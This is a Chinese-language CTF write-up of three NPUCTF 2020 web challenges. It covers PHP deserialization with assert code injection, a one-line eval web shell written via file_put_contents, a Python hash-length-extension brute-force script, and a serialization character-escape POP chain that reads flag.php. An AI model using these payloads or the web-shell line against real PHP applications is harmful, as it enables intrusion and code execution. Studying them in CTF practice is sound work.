NPUCTF-WP
liduoan.efls Engineer

NPUCTF 4.18-4.21

很真实的运维赛,【滑稽

web题好难。好吧是我太菜啦

就写出来两道题目。。

审查源码

F5 鼠标右键不行

直接view-source:url就行了

甚至你还可以抓包来看。

[NPUCTF2020]ReadlezPHP

这道题目有点坑。不过也确实学到了东西

考点: 代码注入 反序列化

查看源码知道

image

那么我们打开看到源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
#error_reporting(0);
class HelloPhp
{
public $a;
public $b;
public function __construct(){
$this->a = "Y-m-d h:i:s";
$this->b = "date";
}
public function __destruct(){
$a = $this->a;
$b = $this->b;
echo $b($a);
}
}
$c = new HelloPhp;

if(isset($_GET['source']))
{
highlight_file(__FILE__);
die(0);
}

@$ppp = unserialize($_GET["data"]);

很明显的反序列化执行。这里的构造函数__construce()在反序列化的时候是不会执行的,所以不必担心。

那么下面就是代码注入的环节了。我发现他禁掉了好多的函数。

最后测试出来使用 assert来进行代码注入。

先利用assert("phpinfo();");来看看被禁掉了哪些函数

image

确实 大多数的执行系统命令的函数都被过滤了。。

按照惯例,先看下目录。 这里不能使用系统命令。所以我们使用scandir函数

image

查看文件内容,除了系统命令,那就直接file_get_contents()来进行

结果查出来的是个假的flag。真的无聊。

然后我还翻遍大部分的文件。。

最后想着有没有可能在phpinfo中有。然后查询一下。。。果然

小tips:flag有可能会在phpinfo中,以后找到可以先查查看看。

方法二

看了天璇的wp

发现可以写马进去

具体利用方法

1
file_put_contents("eki.php", "<?php eval(\$_REQUEST[\'cmd\']); ?>")

但是eval被禁止了呀。然而蚁剑的插件似乎可以绕过disabled_function

https://www.anquanke.com/post/id/195686?from=timeline

ezinclude

这是一位师傅的wp

不太懂。。 我得去学学hash扩展攻击


第一层又双叒叕是一个hash拓展攻击,没有长度就爆破一下

利用 upload_progress

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import requests
import hashpumpy
import urllib



url='http://ha1cyon-ctf.fun:30004/'

for i in range(40):
a,b=hashpumpy.hashpump('a3dabbc779f2fbf8b6f56113ca78a7f9','123444','1',i)

req=requests.get(url+"name={}&pass={}".format(urllib.parse.quote(b),a))
if 'username/password error' not in req.text:
print(req.text,url+"name={}&pass={}".format(urllib.parse.quote(b),a))

跳到

1
flflflflag.php

可以文件包含

这里是用 upload_progress来写shell,然后包含

image

然后包含/tmp/m0on getshell,好像flag又是在phpinfo里面,根目录的是假的

flag:

flag{6b671cf1-9558-47f6-9cd2-46ff8e32a3e9}

安恒的 Ezunserialize

一进去,直接源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
<?php
//show_source("test.php");
//写函数
function write($data) {

//chr(0)==NULL
return str_replace(chr(0) . '*' . chr(0), '\0\0\0', $data);
}
//读函数
function read($data) {
return str_replace('\0\0\0', chr(0) . '*' . chr(0), $data);
}

class A{
//构造函数确定
public $username;
public $password;
function __construct($a, $b){
$this->username = $a;
$this->password = $b;
}
}
class B{
//析构函数输出
public $b='gay';
function __construct($a){
$this->b = $a;
}
function __destruct(){
$c = 'a'.$this->b;
echo $c;
}
}
class C{
//这里利用字符串输出文件 需要一个echo调用——toString
// B类析构函数可以这样 也就是说 B类中的是
//从A类进去
public $c;
function __toString(){
//flag.php
echo file_get_contents($this->c);
return 'nice';
}
}


$a = new A($_GET['a'],$_GET['b']);
//省略了存储序列化数据的过程,下面是取出来并反序列化的操作
$b = unserialize(read(write(serialize($a))));

那么思路挺清楚的。A类一开始赋值。之后序列化A类,再反序列化A类。

那么就应该是 在赋值A类的时候,是字符串。在反序列化的时候,把字符串返回来的时候也要把B类给反序列化出来。

可是序列化A类之后的字符串是:

1
2
3
4
5
6
7
8
9
10
11
12
string(116) "O:1:"A":2:{s:8:"username";s:2:"li";s:8:"password";s:57:";}O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}}       "%00;}"
也就是
O:1:"A":2{
s:8:"username";
s:2:"li";
s:8:"password";
s:57:";} //这里字符数限制了反序列化解析的时候字符控制,
O:1:"B":1:{
s:1:"b";
O:1:"C":1:{s:1:"c";s:8:"flag.php";}
}
%00";}

他这里 我们在GET参数进去的时候就已经确定了自己是字符串。

那么在序列化的时候,也确实两者是字符串。

所以我们的目的是改变他认为这个是字符串!!


按照颖奇师傅的wp

我们要这么构造pop链

1
2
3
4
5
6
7
8
$a = new A();
$b = new B();
$c = new C();
$c->c="flag.php";
$b->b=$c;
$a->username="1";
$a->password=$b;
echo serialize($a);

这样之后就可以得到序列化后的字符串

image

即是:O:1:"A":2:{s:8:"username";s:1:"1";s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}}}

分解一下看一下:

1
2
3
4
5
6
7
8
9
10
11
O:1:"A":2:{                   头类
s:8:"username"; 属性
s:1:"1"; 字符串值
s:8:"password"; 属性
O:1:"B":1:{ 类
s:1:"b";
O:1:"C":1:{
s:1:"c";s:8:"flag.php";
}
}
}

但是我们输入的时候会被默认字符串 也就是说 不能被解析为类! 这咋办呢?

字符逃逸d

这里的字符逃逸是怎么回事呢?

看看write和read的代码先:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
//写函数
function write($data) {
//chr(0)==NULL
//如果有*的话 就改成 \0\0\0
//也就是说 三个字符变成 6个字符 拉长了
return str_replace(chr(0) . '*' . chr(0), '\0\0\0', $data);
}
//读函数
function read($data) {
// //入宫有\0\0\0 那么我们就替换成 .*.这样的形式
//这个可以让我们把6个字符变成3个字符
//牛逼
return str_replace('\0\0\0', chr(0) . '*' . chr(0), $data);
}

这里我们看看\0\0\0和另外一个的字符长度!

1
2
string(6) "\0\0\0"
string(3) "*"

这里说 前者占6个字符的位置,后者占3个字符的位置。

那么这就是字符逃逸了呀!

借用颖奇师傅的wp用一下

image

那么我们的大致思路就有了。利用read函数把6个字符减半的特点。

我们可以实现反序列化字符逃逸。

真的牛逼。服气了,我当时根本没有理会那两个函数。。